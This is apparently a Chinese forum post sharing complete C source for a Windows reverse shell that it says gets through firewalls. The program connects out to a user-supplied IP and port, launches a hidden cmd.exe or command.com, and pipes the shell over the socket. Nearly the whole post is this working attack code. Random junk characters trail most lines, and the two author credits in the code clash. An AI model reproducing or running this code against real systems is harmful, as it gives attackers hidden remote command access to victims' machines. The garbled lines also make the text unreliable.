Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 <}8G1<QZ'.  
:(yut  
/* ============================== ]F>#0Rdc  
Rebound port in Windows NT eK*oV}U-k  
By wind,2006/7 K4]ZVMm/*  
===============================*/ F!/-2u5gF  
#include 3ZyvX]@_  
#include g`
C8ouy  
W_Hoa*~  
#pragma comment(lib,"wsock32.lib") ~@X3qja  
RF'nwzM3  
void OutputShell(); s] ;P<  
SOCKET sClient; D2gyn-]\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; um_J%v6ER  
y3QS!3I  
void main(int argc,char **argv) !io1~GpKS  
{ ;C:|m7|  
WSADATA stWsaData; 59W~bWHCP  
int nRet; t#y,9>6  
SOCKADDR_IN stSaiClient,stSaiServer; 1n7'\esC*  
h#Z,ud_  
if(argc != 3) "XLtrAu{  
{ K[/L!.Ag  
printf("Useage:\n\rRebound DestIP DestPort\n"); zF{~Md1  
return; Ij =NcP  
} Jmg9|g!f  
 iD])E/  
WSAStartup(MAKEWORD(2,2),&stWsaData); xaoR\H  
-%%Xx5D  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Sj|tR[SAoD  
EEK!'[<,sE  
stSaiClient.sin_family = AF_INET; .oTS7rYw  
stSaiClient.sin_port = htons(0); 7gB?rJHV,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^ACrWk~UY  
J-uQF|   
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |s(Ih_Zn  
{ 2]5Li/  
printf("Bind Socket Failed!\n"); 0rI/$  
return; -{9mctt/gE  
} ;bg]H >$U7  
*jPd=+d  
stSaiServer.sin_family = AF_INET; wQd8/&mmk  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); dPf7o   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ST?Rl@4  
2cIKph  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5kQ@]n:<k  
{ yqL"YD  
printf("Connect Error!"); Wq5}LO)  
return; /^\E:(RH  
} +r;t]  
OutputShell(); tCGx]\  
} &k)v/  
5$Kj#9g-#  
void OutputShell() M<NY`7$^  
{ o~\.jQQxa  
char szBuff[1024]; _-543B}  
SECURITY_ATTRIBUTES stSecurityAttributes; p[].4_B;  
OSVERSIONINFO stOsversionInfo; Tbv w?3  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~t
RGw^<9  
STARTUPINFO stStartupInfo; Is<XMR|{  
char *szShell; IvY3iRq6  
PROCESS_INFORMATION stProcessInformation; AJ
&j|/  
unsigned long lBytesRead;
-
mh"["L"  
]$9y7Bhj.  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ml{ ]{n  
8-k`"QI=  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2fu<s^9dh  
stSecurityAttributes.lpSecurityDescriptor = 0; kN{$-v=K  
stSecurityAttributes.bInheritHandle = TRUE; ISK 8t  
h!|Uj  
P:vp/x!  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `aG_m/7|  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +WMXd.iN,  
yFb"
2  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gCiM\Qx  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U.I w/T-5  
stStartupInfo.wShowWindow = SW_HIDE; vyJ8" #]qY  
stStartupInfo.hStdInput = hReadPipe; \O;/wf0Hg  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :#?_4D!r  
|&W4Dkn  
GetVersionEx(&stOsversionInfo); _#&oQFdYR  
c(2?
./\|  
switch(stOsversionInfo.dwPlatformId) 'bSWJ/;p)  
{ _kMHF  
case 1:
YVgH[-`,  
szShell = "command.com"; s2|.LmC3|B  
break; 8]b;l; W5  
default: _E'}8.#{  
szShell = "cmd.exe"; V]+y*b.60  
break; Y~{<Hs  
} %g@\SR.  
DC1.f(cdR  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); I%Yq86  
u%yYLpaKf  
send(sClient,szMsg,77,0); qGMU>J.;c  
while(1) 4uMMf  
{ An0N'yo"Z  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); '\op$t/  
if(lBytesRead) w2XHY>6];  
{ z[<Na3]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (hZNWQ0  
send(sClient,szBuff,lBytesRead,0); s5mJ -  
} ;]m;p,$  
else :Rv+Bm  
{ ^p9V5o  
lBytesRead=recv(sClient,szBuff,1024,0); Tsb}\  
if(lBytesRead<=0) break; FGyrDRDwC  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p_&B+ <z  
} x7<l*WQ  
} fKr_u<|  
K\;4;6g  
return; 7.ein:M|CB  
}